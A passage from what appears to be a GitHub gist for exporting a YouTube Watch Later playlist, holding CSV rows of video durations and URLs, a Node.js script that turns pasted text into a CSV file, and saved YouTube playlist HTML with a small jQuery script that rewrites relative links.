92,&quot;4:04 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=GqfRGMw8gvQ&amp;list=WL&amp;index=92&amp;pp=gAQBiAQB&quot;
93,&quot;25:57 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=Jg9B9DIFiOA&amp;list=WL&amp;index=93&amp;pp=gAQBiAQB&quot;
94,&quot;WATCHED 27:33 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=DdbQLBdhMcY&amp;list=WL&amp;index=94&amp;t=1s&amp;pp=gAQBiAQB&quot;
95,&quot;18:13 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=X02Wv7RxD0w&amp;list=WL&amp;index=95&amp;pp=gAQBiAQB&quot;
96,&quot;23:26 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=i9V18HUoZcc&amp;list=WL&amp;index=96&amp;pp=gAQBiAQB&quot;
97,&quot;20:32 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=LmAOWH5Av8k&amp;list=WL&amp;index=97&amp;pp=gAQBiAQB&quot;
98,&quot;WATCHED 13:32 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=Hy6V8ignZ_w&amp;list=WL&amp;index=98&amp;t=2s&amp;pp=gAQBiAQB&quot;
99,&quot;10:07 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=5slRhTTgcy8&amp;list=WL&amp;index=99&amp;pp=gAQBiAQB&quot;
100,&quot;3:08:46 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=dNrTrx42DGQ&amp;list=WL&amp;index=100&amp;pp=gAQBiAQB&quot;
101,&quot;11:44 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=cIKzab9kmIc&amp;list=WL&amp;index=101&amp;pp=gAQBiAQB&quot;
102,&quot;36:43 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=xAhyjlaP3EE&amp;list=WL&amp;index=102&amp;pp=gAQBiAQB&quot;
103,&quot;5:23 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=b80aydUPpOc&amp;list=WL&amp;index=103&amp;pp=gAQBiAQB&quot;
104,&quot;25:01 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=I64dYEkNvSQ&amp;list=WL&amp;index=104&amp;pp=gAQBiAQB&quot;
105,&quot;17:07 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=HhQFBiQZHZc&amp;list=WL&amp;index=105&amp;pp=gAQBiAQB&quot;
106,&quot;1:04:00 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=rFRQ0VC1uX8&amp;list=WL&amp;index=106&amp;pp=gAQBiAQB&quot;
107,&quot;17:47 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=mjCitkGHRcw&amp;list=WL&amp;index=107&amp;pp=gAQBiAQB&quot;
108,&quot;11:31 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=BOz6n-E7K0M&amp;list=WL&amp;index=108&amp;pp=gAQBiAQB&quot;
109,&quot;20:07 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=1H2Cgc60UlU&amp;list=WL&amp;index=109&amp;pp=gAQBiAQB&quot;
110,&quot;16:36 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=jQ3L9jacu-c&amp;list=WL&amp;index=110&amp;pp=gAQBiAQB&quot;
111,&quot;WATCHED 12:42 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=FdTCQ4ehtWQ&amp;list=WL&amp;index=111&amp;t=655s&amp;pp=gAQBiAQB&quot;
112,&quot;1:05:03 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=r-98YRAF1dY&amp;list=WL&amp;index=112&amp;pp=gAQBiAQB&quot;
113,&quot;WATCHED 5:03 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=g1pb2aK2we4&amp;list=WL&amp;index=113&amp;pp=gAQBiAQB&quot;
114,&quot;17:37 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=qZdpyzUEPzQ&amp;list=WL&amp;index=114&amp;pp=gAQBiAQB&quot;
115,&quot;20:19 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=ik6rNa-XHSc&amp;list=WL&amp;index=115&amp;pp=gAQBiAQB&quot;
116,&quot;2:23:57 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=L_Guz73e6fw&amp;list=WL&amp;index=116&amp;pp=gAQBiAQB&quot;
117,&quot;WATCHED 2:11 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=YxnQaGiHlF4&amp;list=WL&amp;index=117&amp;pp=gAQBiAQB&quot;
118,&quot;56:51 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=HQKy1KJpSVc&amp;list=WL&amp;index=118&amp;pp=gAQBiAQB&quot;
119,&quot;11:57 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=KoeJgh0elzM&amp;list=WL&amp;index=119&amp;pp=gAQBiAQB&quot;
120,&quot;2:00:11 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=D_f26tSubi4&amp;list=WL&amp;index=120&amp;pp=gAQBiAQB&quot;
121,&quot;32:16 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=siWDebEdmOQ&amp;list=WL&amp;index=121&amp;pp=gAQBiAQB&quot;
122,&quot;12:43 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=ZIkXB6_azYo&amp;list=WL&amp;index=122&amp;pp=gAQBiAQB&quot;
123,&quot;37:14 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=HPq05GXUgL8&amp;list=WL&amp;index=123&amp;pp=gAQBiAQB&quot;
124,&quot;20:06 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=KgDPEW_ypj8&amp;list=WL&amp;index=124&amp;pp=gAQBiAQB&quot;
125,&quot;2:23:37 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=GLgKkG44MGo&amp;list=WL&amp;index=125&amp;pp=gAQBiAQB&quot;
126,&quot;29:09 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=_wIOqHSsV9c&amp;list=WL&amp;index=126&amp;pp=gAQBiAQB&quot;
127,&quot;16:37 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=-yTbY1vRRRI&amp;list=WL&amp;index=127&amp;pp=gAQBiAQB&quot;
128,&quot;10:24 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=8vFGrNjT4P4&amp;list=WL&amp;index=128&amp;pp=gAQBiAQB&quot;
129,&quot;18:45 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=aVICNeCPng4&amp;list=WL&amp;index=129&amp;pp=gAQBiAQB&quot;
130,&quot;13:56 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=enywK-ctwF4&amp;list=WL&amp;index=130&amp;pp=gAQBiAQB&quot;
131,&quot;11:53 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=NOVwHxeWCVI&amp;list=WL&amp;index=131&amp;pp=gAQBiAQB&quot;
132,&quot;9:12 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=r0dD24TX3Yc&amp;list=WL&amp;index=132&amp;pp=gAQBiAQB&quot;
133,&quot;32:05 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=11u_zUVlZBU&amp;list=WL&amp;index=133&amp;pp=gAQBiAQB&quot;
134,&quot;19:59 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=RuVTrOSsD-o&amp;list=WL&amp;index=134&amp;pp=gAQBiAQB&quot;
135,&quot;13:38 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=qmOn8ZaLPX0&amp;list=WL&amp;index=135&amp;pp=gAQBiAQB&quot;
136,&quot;36:57 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=dw6xlW6FD5k&amp;list=WL&amp;index=136&amp;pp=gAQBiAQB&quot;
137,&quot;29:33 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=vzcoC2CqmTM&amp;list=WL&amp;index=137&amp;pp=gAQBiAQB&quot;
138,&quot;WATCHED 20:09 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=Nkt93coQzqg&amp;list=WL&amp;index=138&amp;t=19s&amp;pp=gAQBi</code></pre><p><em>Truncated — <a href="https://gist.github.com/8e93278084ef462e04ca6950261b1ae0">view the full gist</a>.</em></p>
<h3>text-to-csv.js</h3><pre><code class="language-javascript">const fs = require(&apos;fs&apos;);
const readline = require(&apos;readline&apos;);

const processInput = (input) =&gt; {
    // Split the input into chunks based on the list numbers
    const chunks = input.split(/\n\s*\d+\n/).filter(chunk =&gt; chunk.trim() !== &apos;&apos;);

    // Extract title and URL from each chunk
    const videos = chunks.map(chunk =&gt; {
        const titleMatch = chunk.match(/(.*?)https?:\/\/youtube\.com/g);
        const urlMatch = chunk.match(/https?:\/\/youtube\.com[^\s]+/g);
        if (titleMatch &amp;&amp; urlMatch) {
            const title = titleMatch[0].trim();
            const url = urlMatch[urlMatch.length - 1].trim();
            return { title, url };
        }
        return null;
    }).filter(video =&gt; video !== null);

    return videos;
}

// Read the entire input from STDIN as a single string
const rl = readline.createInterface({
    input: process.stdin,
    output: process.stdout,
    terminal: false
});

let inputData = &apos;&apos;;

rl.on(&apos;line&apos;, (line) =&gt; {
    inputData += line + &apos;\n&apos;;
});

rl.on(&apos;close&apos;, () =&gt; {
    const videos = processInput(inputData);

    // Create CSV content
    let csvContent = &quot;Index,Title,URL\n&quot;;
    videos.forEach((video, index) =&gt; {
        csvContent += `${index + 1},&quot;${video.title.replace(/&quot;/g, &apos;&quot;&quot;&apos;)}&quot;,&quot;${video.url}&quot;\n`;
    });

    // Write CSV to file
    fs.writeFileSync(&apos;output.csv&apos;, csvContent);
    console.log(&apos;CSV file created: output.csv&apos;);
});

</code></pre>
<h3>watchlater.html</h3><pre><code class="language-html">&lt;style&gt;
  img,
  svg,
  icon,
  yt-spec-icon-shape,
  yt-icon,
  #overlays,
  #separator,
  #metadata {
    display: none !important;
  }
&lt;/style&gt;

&lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js&quot;
  integrity=&quot;sha512-v2CJ7UaYy4JwqLDIrZUI/4hqeoQieOmAZNXBeQyjo21dadnwR+8ZaIJVT8EE2iyI61OV8e6M8PP2/4hpQINQ/g==&quot;
  crossorigin=&quot;anonymous&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/script&gt;

&lt;script&gt;
  $(document).ready(function () {
    $(&quot;a&quot;).each(function () {
      var url = $(this).attr(&quot;href&quot;);
      const currentText = $(this).text()
      $(this).attr(&apos;href&apos;, &apos;https://youtube.com&apos; + url);
      $(this).text(currentText + &apos; &apos; + &apos;https://youtube.com&apos; + url);
    });
  });
&lt;/script&gt;

&lt;div id=&quot;contents&quot; class=&quot; style-scope ytd-playlist-video-list-renderer style-scope ytd-playlist-video-list-renderer&quot;&gt;
  &lt;ytd-playlist-video-renderer class=&quot;style-scope ytd-playlist-video-list-renderer&quot; amsterdam-post-mvp=&quot;&quot; lockup=&quot;true&quot;
    is-editable=&quot;&quot; can-reorder=&quot;&quot; persistent-drag-handle=&quot;&quot; style-type=&quot;&quot;
    is-downloads=&quot;&quot;&gt;&lt;!--css-build:shady--&gt;&lt;!--css-build:shady--&gt;
    &lt;div id=&quot;index-container&quot; class=&quot;playlist-drag-handle style-scope ytd-playlist-video-renderer&quot;&gt;
      &lt;yt-icon id=&quot;reorder&quot; icon=&quot;yt-icons:drag_handle&quot;
        class=&quot;style-scope ytd-playlist-video-renderer&quot;&gt;&lt;!--css-build:shady--&gt;&lt;!--css-build:shady--&gt;&lt;yt-icon-shape
          class=&quot;style-scope yt-icon&quot;&gt;&lt;icon-shape class=&quot;yt-spec-icon-shape&quot;&gt;
            &lt;div style=&quot;width: 100%; height: 100%; fill: currentcolor;&quot;&gt;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot;
                height=&quot;24&quot; viewBox=&quot;0 0 24 24&quot; width=&quot;24&quot; focusable=&quot;false&quot;
                style=&quot;pointer-events: none; display: block; width: 100%; height: 100%;&quot;&gt;
                &lt;path d=&quot;M21 10H3V9h18v1Zm0 4H3v1h18v-1Z&quot;&gt;&lt;/path&gt;
              &lt;/svg&gt;&lt;/div&gt;
          &lt;/icon-shape&gt;&lt;/yt-icon-shape&gt;&lt;/yt-icon&gt;
      &lt;yt-formatted-string id=&quot;index&quot; class=&quot;style-scope ytd-playlist-video-renderer&quot;&gt;1&lt;/yt-formatted-string&gt;
    &lt;/div&gt;
    &lt;div id=&quot;content&quot; class=&quot;style-scope ytd-playlist-video-renderer&quot;&gt;
      &lt;div id=&quot;container&quot; class=&quot;style-scope ytd-playlist-video-renderer&quot;&gt;
        &lt;ytd-thumbnail id=&quot;thumbnail&quot; class=&quot;style-scope ytd-playlist-video-renderer&quot; hide-playback-status=&quot;&quot;
          size=&quot;medium&quot; loaded=&quot;&quot;&gt;&lt;!--css-build:shady--&gt;&lt;!--css-build:shady--&gt;&lt;a id=&quot;thumbnail&quot;
            class=&quot;yt-simple-endpoint inline-block style-scope ytd-thumbnail&quot; aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot;
            rel=&quot;null&quot; href=&quot;/watch?v=ex2b2bpkaio&amp;amp;list=WL&amp;amp;index=1&amp;amp;pp=gAQBiAQB&quot;&gt;
            &lt;yt-image alt=&quot;&quot; ftl-eligible=&quot;&quot; notify-on-loaded=&quot;&quot; notify-on-unloaded=&quot;&quot;
              class=&quot;style-scope ytd-thumbnail&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;background-color: transparent;&quot;
                class=&quot;yt-core-image--fill-parent-height yt-core-image--fill-parent-width yt-core-image yt-core-image--content-mode-scale-aspect-fill yt-core-image--loaded&quot;
                src=&quot;https://i.ytimg.com/vi/ex2b2bpkaio/hqdefault.jpg?sqp=-oaymwEjCNACELwBSFryq4qpAxUIARUAAAAAGAElAADIQj0AgKJDeAE=&amp;amp;rs=AOn4CLDTbR09GeXTzRjXhYVUqOKjmPONxw&quot;&gt;&lt;/yt-image&gt;

            &lt;div id=&quot;overlays&quot; class=&quot;style-scope ytd-thumbnail&quot;&gt;&lt;ytd-thumbnail-overlay-downloading-renderer
                class=&quot;style-scope ytd-thumbnail&quot;&gt;&lt;!--css-build:shady--&gt;&lt;!--css-build:shady--&gt;&lt;yt-icon
                  class=&quot;style-scope ytd-thumbnail-overlay-downloading-renderer&quot;&gt;&lt;!--css-build:shady--&gt;&lt;!--css-build:shady--&gt;&lt;yt-icon-shape
                    class=&quot;style-scope yt-icon&quot;&gt;&lt;icon-shape class=&quot;yt-spec-icon-shape&quot;&gt;
                      &lt;div style=&quot;width: 100%; height: 100%; fill: currentcolor;&quot;&gt;&lt;svg
                          xmlns=&quot;http://www.w3.org/2000/svg&quot; viewBox=&quot;0 0 24 24&quot; focusable=&quot;false&quot;
                          style=&quot;pointer-events: none; display: block; width: 100%; height: 100%;&quot;&gt;
                          &lt;rect opacity=&quot;0.8&quot; width=&quot;24&quot; height=&quot;24&quot; rx=&quot;12&quot; fill=&quot;var(--yt-spec-static-brand-black)&quot;&gt;
                          &lt;/rect&gt;
                          &lt;path
                            d=&quot;M19 12C19 15.866 15.866 19 12 19C8.13401 19 5 15.866 5 12C5 8.13401 8.13401 5 12 5C15.866 5 19 8.13401 19 12ZM6.27701 12C6.27701 15.1607 8.83928 17.723 12 17.723C15.1607 17.723 17.723 15.1607 17.723 12C17.723 8.83928 15.1607 6.27701 12 6.27701C8.83928 6.27701 6.27701 8.83928 6.27701 12Z&quot;
                            fill=&quot;var(--yt-spec-static-brand-white)&quot;&gt;&lt;/path&gt;
                          &lt;path
                            d=&quot;M15 12.8915L12 16L9 12.8915L9.78918 12.0737L11.4403 13.7788V9H12.5597V13.7788L14.2108 12.0679L15 12.8915Z&quot;
                            fill=&quot;var(--yt-spec-static-brand-white)&quot;&gt;&lt;/path&gt;
                        &lt;/svg&gt;&lt;/div&gt;
                    &lt;/icon-shape&gt;&lt;/yt-icon-shape&gt;&lt;/yt-icon&gt;
                &lt;tp-yt-paper-spinner-lite class=&quot;style-scope ytd-thumbnail-overlay-downloading-renderer&quot;
                  active=&quot;&quot;&gt;&lt;!--css-build:shady--&gt;
                  &lt;div id=&quot;spinnerContainer&quot; class=&quot;active  style-scope tp-yt-paper-spinner-lite&quot;&gt;
                    &lt;div class=&quot;spinner-layer style-scope tp-yt-paper-spinner-lite&quot;&gt;
                      &lt;div class=&quot;circle-clipper left style-scope tp-yt-paper-spinner-lite&quot;&gt;
                        &lt;div class=&quot;circle style-scope tp-yt-paper-spinner-lite&quot;&gt;&lt;/div&gt;
                      &lt;/div&gt;
                      &lt;div class=&quot;circle-clipper right style-scope tp-yt-paper-spinner-lite&quot;&gt;
                        &lt;div class=&quot;circle style-scope tp-yt-paper-spinner-lite&quot;&gt;&lt;/div&gt;
                      &lt;/div&gt;
                    &lt;/div&gt;
                  &lt;/div&gt;
                &lt;/tp-yt-paper-spinner-lite&gt;
              &lt;/ytd-thumbnail-overlay-downloading-renderer&gt;&lt;/div&gt;
            &lt;div id=&quot;mouseover-overlay&quot; class=&quot;style-scope ytd-thumbnail&quot;&gt;&lt;/div&gt;
            &lt;div id=&quot;hover-overlays&quot; class=&quot;style-scope ytd-thumbnail&quot;&gt;&lt;/div&gt;
          &lt;/a&gt;
        &lt;/ytd-thumbnail&gt;
        &lt;div id=&quot;meta&quot; class=&quot;style-scope ytd-playlist-video-renderer&quot;&gt;
          &lt;h3 class=&quot;style-scope ytd-playlist-video-renderer&quot;
            aria-label=&quot;How to Paint Water in Watercolor - A Step-by-Step Tutorial by Matthew White - Watercolor Instruction 27,525 views 7 months ago 21 minutes&quot;&gt;
            &lt;ytd-badge-supported-renderer id=&quot;top-standalone-badge&quot; class=&quot;style-scope ytd-playlist-video-renderer&quot;
              system-icons=&quot;&quot;&gt;&lt;!--css-build:shady--&gt;&lt;!--css-build:shady--&gt;&lt;dom-repeat id=&quot;repeat&quot; as=&quot;badge&quot;
                class=&quot;style-scope ytd-badge-supported-renderer&quot;&gt;&lt;template&gt;&lt;/template&gt;&lt;/dom-repeat&gt;&lt;/ytd-badge-supported-renderer&gt;
            &lt;a id=&quot;video-title&quot; class=&quot;yt-simple-endpoint style-scope ytd-playlist-video-renderer&quot;
              href=&quot;/watch?v=ex2b2bpkaio&amp;amp;list=WL&amp;amp;index=1&amp;amp;pp=gAQBiAQB&quot;
              title=&quot;How to Paint Water in Watercolor - A Step-by-Step Tutorial&quot;&gt;
              How to Paint Water in Watercolor - A Step-by-Step Tutorial
            &lt;/a&gt;
          &lt;/h3&gt;
          &lt;ytd-video-meta-block class=&quot;playlist style-scope ytd-playlist-video-renderer byline-separated&quot;
            amsterdam-post-mvp=&quot;&quot; is-downloading=&quot;&quot;&gt;&lt;!--css-build:shady--&gt;&lt;!--css-build:shady--&gt;
            &lt;div id=&quot;metadata&quot; class=&quot;style-scope ytd-video-meta-block&quot;&gt;
              &lt;div id=&quot;byline-container&quot; class=&quot;style-scope ytd-video-meta-block&quot;&gt;
                &lt;ytd-channel-name id=&quot;channel-name&quot;
                  class=&quot; style-scope ytd-video-meta-block style-scope ytd-video-meta-block&quot;&gt;&lt;!--css-build:shady--&gt;&lt;!--css-build:shady--&gt;
                  &lt;div id=&quot;container&quot; class=&quot;style-scope ytd-channel-name&quot;&gt;
                    &lt;div id=&quot;text-container&quot; class=&quot;style-scope ytd-channel-name&quot;&gt;
                      &lt;yt-formatted-string id=&quot;text&quot; link-inherit-color=&quot;&quot;
                        title=&quot;Matthew White - Watercolor Instruction&quot;
                        class=&quot;style-scope ytd-channel-name complex-string&quot; ellipsis-truncate=&quot;&quot;
                        ellipsis-truncate-styling=&quot;&quot; has-link-only_=&quot;&quot;&gt;&lt;a
                          class=&quot;yt-simple-endpoint style-scope yt-formatted-string&quot; spellcheck=&quot;false&quot;
                          href=&quot;/@learntopaintwatercolor&quot; dir=&quot;auto&quot;&gt;Matthew White - Watercolor
                          Instruction&lt;/a&gt;&lt;/yt-formatted-string&gt;
                    &lt;/div&gt;
                    &lt;tp-yt-paper-tooltip fit-to-visible-bounds=&quot;&quot; class=&quot;style-scope ytd-channel-name&quot; role=&quot;tooltip&quot;
                      tabindex=&quot;-1&quot;&gt;&lt;!--css-build:shady--&gt;
                      &lt;div id=&quot;tooltip&quot; class=&quot;hidden style-scope tp-yt-paper-tooltip&quot; style-target=&quot;tooltip&quot;&gt;

                        Matthew White - Watercolor Instruction

                      &lt;/div&gt;
                    &lt;/tp-yt-paper-tooltip&gt;
                  &lt;/div&gt;
                  &lt;ytd-badge-supported-renderer class=&quot;style-scope ytd-channel-name&quot; disable-upgrade=&quot;&quot; hidden=&quot;&quot;&gt;
                  &lt;/ytd-badge-supported-renderer&gt;
                &lt;/ytd-channel-name&gt;
                &lt;div id=&quot;separator&quot; class=&quot;style-scope ytd-video-meta-block&quot;&gt;•&lt;/div&gt;
                &lt;yt-formatted-string id=&quot;video-info&quot; class=&quot;style-scope ytd-video-meta-block&quot;&gt;&lt;span dir=&quot;auto&quot;
                    class=&quot;style-scope yt-formatted-string&quot;&gt;27K views&lt;/span&gt;&lt;span dir=&quot;auto&quot;
                    class=&quot;style-scope yt-formatted-string&quot;&gt; • &lt;/span&gt;&lt;span dir=&quot;auto&quot;
                    class=&quot;style-scope yt-formatted-string&quot;&gt;7 months ago&lt;/span&gt;&lt;/yt-formatted-string&gt;
              &lt;/div&gt;
              &lt;div id=&quot;metadata-line&quot; class=&quot;style-scope ytd-video-meta-block&quot;&gt;

                &lt;ytd-badge-supported-renderer class=&quot;inline-metadata-badge style-scope ytd-video-meta-block&quot; hidden=&quot;&quot;
                  system-icons=&quot;&quot;&gt;&lt;!--css-build:shady--&gt;&lt;!--css-build:shady--&gt;&lt;dom-repeat id=&quot;repeat&quot; as=&quot;badge&quot;
                    class=&quot;style-scope ytd-badge-supported-renderer&quot;&gt;&lt;template&gt;&lt;/template&gt;&lt;/dom-repeat&gt;&lt;/ytd-badge-supported-renderer&gt;
                &lt;div id=&quot;separator&quot; class=&quot;style-scope ytd-video-meta-block&quot;&gt;•&lt;/div&gt;

                &lt;span class=&quot;inline-metadata-item style-scope ytd-video-meta-block&quot;&gt;Waiting to download...&lt;/span&gt;
                &lt;dom-repeat strip-whitespace=&quot;&quot;
                  class=&quot;style-scope ytd-video-meta-block&quot;&gt;&lt;template&gt;&lt;/template&gt;&lt;/dom-repeat&gt;
              &lt;/div&gt;
            &lt;/div&gt;
            &lt;div id=&quot;additional-metadata-line&quot; class=&quot;style-scope ytd-video-meta-block&quot;&gt;
              &lt;dom-repeat class=&quot;style-scope ytd-video-meta-block&quot;&gt;&lt;template&gt;&lt;/template&gt;&lt;/dom-repeat&gt;
            &lt;/div&gt;

          &lt;/ytd-video-meta-block&gt;
          &lt;ytd-badge-supported-renderer id=&quot;bottom-badges&quot; class=&quot;style-scope ytd-playlist-video-renderer&quot;
            system-icons=&quot;&quot; hidden=&quot;&quot;&gt;&lt;!--css-build:shady--&gt;&lt;!--css-build:shady--&gt;&lt;dom-repeat id=&quot;repeat&quot; as=&quot;badge&quot;
              class=&quot;style-scope ytd-badge-supported-renderer&quot;&gt;&lt;template&gt;&lt;/template&gt;&lt;/dom-repeat&gt;&lt;/ytd-badge-supported-renderer&gt;
          &lt;ytd-badge-supported-renderer id=&quot;bottom-standalone-badge&quot; class=&quot;style-scope ytd-playlist-video-renderer&quot;
            system-icons=&quot;&quot; hidden=&quot;&quot;&gt;&lt;!--css-build:shady--&gt;&lt;!--css-build:shady--&gt;&lt;dom-repeat id=&quot;repeat&quot; as=&quot;badge&quot;
              class=&quot;style-scope ytd-badge-supported-renderer&quot;&gt;&lt;template&gt;&lt;/template&gt;&lt;/dom-repeat&gt;&lt;/ytd-badge-supported-renderer&gt;
        &lt;/div&gt;
      &lt;/div&gt;
      &lt;ytd-badge-supported-renderer id=&quot;badges&quot; class=&quot;style-scope ytd-playlist-video-renderer&quot; disable-upgrade=&quot;&quot;
        hidden=&quot;&quot;&gt;
      &lt;/ytd-badge-supported-renderer&gt;
      &lt;yt-formatted-string id=&quot;contributor&quot; link-inherit-color=&quot;&quot; class=&quot;style-scope ytd-playlist-video-renderer&quot;
        is-empty=&quot;&quot; hidden=&quot;&quot;&gt;&lt;!--css-build:shady--&gt;&lt;!--css-build:shady--&gt;&lt;yt-attributed-string
          class=&quot;style-scope yt-formatted-string&quot;&gt;&lt;/yt-attributed-string&gt;&lt;/yt-formatted-string&gt;
      &lt;div id=&quot;offer-button&quot; class=&quot;style-scope ytd-playlist-video-renderer&quot;&gt;&lt;/div&gt;
    &lt;/div&gt;
    &lt;div id=&quot;menu&quot; class=&quot;style-scope ytd-playlist-video-renderer&quot;&gt;&lt;ytd-menu-renderer
        class=&quot;style-scope ytd-playlist-video-renderer&quot; safe-area=&quot;&quot;&gt;&lt;!--css-build:shady--&gt;&lt;!--css-build:shady--&gt;
        &lt;div id=&quot;top-level-buttons-computed&quot; class=&quot;top-level-buttons style-scope ytd-menu-renderer&quot;&gt;&lt;/div&gt;
        &lt;div id=&quot;flexible-item-buttons&quot; class=&quot;style-scope ytd-menu-renderer&quot;&gt;&lt;/div&gt;&lt;yt-icon-button id=&quot;button&quot;
          class=&quot;dropdown-trigger style-scope ytd-menu-renderer&quot;
          style-target=&quot;button&quot;&gt;&lt;!--css-build:shady--&gt;&lt;!--css-build:shady--&gt;&lt;button id=&quot;button&quot;
            class=&quot;style-scope yt-icon-button&quot; aria-label=&quot;Action menu&quot;&gt;&lt;yt-icon
              class=&quot;style-scope ytd-menu-renderer&quot;&gt;&lt;!--css-build:shady--&gt;&lt;!--css-build:shady--&gt;&lt;yt-icon-shape
                class=&quot;style-scope yt-icon&quot;&gt;&lt;icon-shape class=&quot;yt-spec-icon-shape&quot;&gt;
                  &lt;div style=&quot;width: 100%; height: 100%; fill: currentcolor;&quot;&gt;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot;
                      enable-background=&quot;new 0 0 24 24&quot; height=&quot;24&quot; viewBox=&quot;0 0 24 24&quot; width=&quot;24&quot; focusable=&quot;false&quot;
                      style=&quot;pointer-events: none; display: block; width: 100%; height: 100%;&quot;&gt;
                      &lt;path
                        d=&quot;M12 16.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5zM10.5 12c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5-.67-1.5-1.5-1.5-1.5.67-1.5 1.5zm0-6c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5-.67-1.5-1.5-1.5-1.5.67-1.5 1.5z&quot;&gt;
                      &lt;/path&gt;
                    &lt;/svg&gt;&lt;/div&gt;
                &lt;/icon-shape&gt;&lt;/yt-icon-shape&gt;&lt;/yt-icon&gt;&lt;/button&gt;&lt;yt-interaction id=&quot;interaction&quot;
            class=&quot;circular style-scope yt-icon-button&quot;&gt;&lt;!--css-build:shady--&gt;&lt;!--css-build:shady--&gt;
            &lt;div class=&quot;stroke style-scope yt-interaction&quot;&gt;&lt;/div&gt;
            &lt;div class=&quot;fill style-scope yt-interaction&quot;&gt;&lt;/div&gt;
          &lt;/yt-interaction&gt;&lt;/yt-icon-button&gt;&lt;yt-button-shape id=&quot;button-shape&quot; version=&quot;modern&quot;
          class=&quot;style-scope ytd-menu-renderer&quot; disable-upgrade=&quot;&quot; hidden=&quot;&quot;&gt;&lt;/yt-button-shape&gt;
      &lt;/ytd-menu-renderer&gt;&lt;/div&gt;
  &lt;/ytd-playlist-video-renderer&gt;&lt;ytd-playlist-video-renderer class=&quot;style-scope ytd-playlist-video-list-renderer&quot;
    amsterdam-post-mvp=&quot;&quot; lockup=&quot;true&quot; is-editable=&quot;&quot; can-reorder=&quot;&quot; persistent-drag-handle=&quot;&quot; style-type=&quot;&quot;
    is-downloads=&quot;&quot;&gt;&lt;!--css-build:shady--&gt;&lt;!--css-build:shady--&gt;
    &lt;div id=&quot;index-container&quot; class=&quot;playlist-drag-handle style-scope ytd-playlist-video-renderer&quot;&gt;
      &lt;yt-icon id=&quot;reorder&quot; icon=&quot;yt-icons:drag_handle&quot;
        class=&quot;style-scope ytd-playlist-video-renderer&quot;&gt;&lt;!--css-build:shady--&gt;&lt;!--css-build:shady--&gt;&lt;yt-icon-shape
          class=&quot;style-scope yt-icon&quot;&gt;&lt;icon-shape class=&quot;yt-spec-icon-shape&quot;&gt;
            &lt;div style=&quot;width: 100%; height: 100%; fill: currentcolor;&quot;&gt;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot;
                height=&quot;24&quot; viewBox=&quot;0 0 24 24&quot; width=&quot;24&quot; focusable=&quot;false&quot;
                style=&quot;pointer-events: none; display: block; width: 100%; height: 100%;&quot;&gt;
                &lt;path d=&quot;M21 10H3V9h18v1Zm0 4H3v1h18v-1Z&quot;&gt;&lt;/path&gt;
              &lt;/svg&gt;&lt;/div&gt;
          &lt;/icon-shape&gt;&lt;/yt-icon-shape&gt;&lt;/yt-icon&gt;
      &lt;yt-formatted-string id=&quot;index&quot; class=&quot;style-scope ytd-playlist-video-renderer&quot;&gt;2&lt;/yt-formatted-string&gt;
    &lt;/div&gt;
    &lt;div id=&quot;content&quot; class=&quot;style-scope ytd-playlist-video-renderer&quot;&gt;
      &lt;div id=&quot;container&quot; class=&quot;style-scope ytd-playlist-video-renderer&quot;&gt;
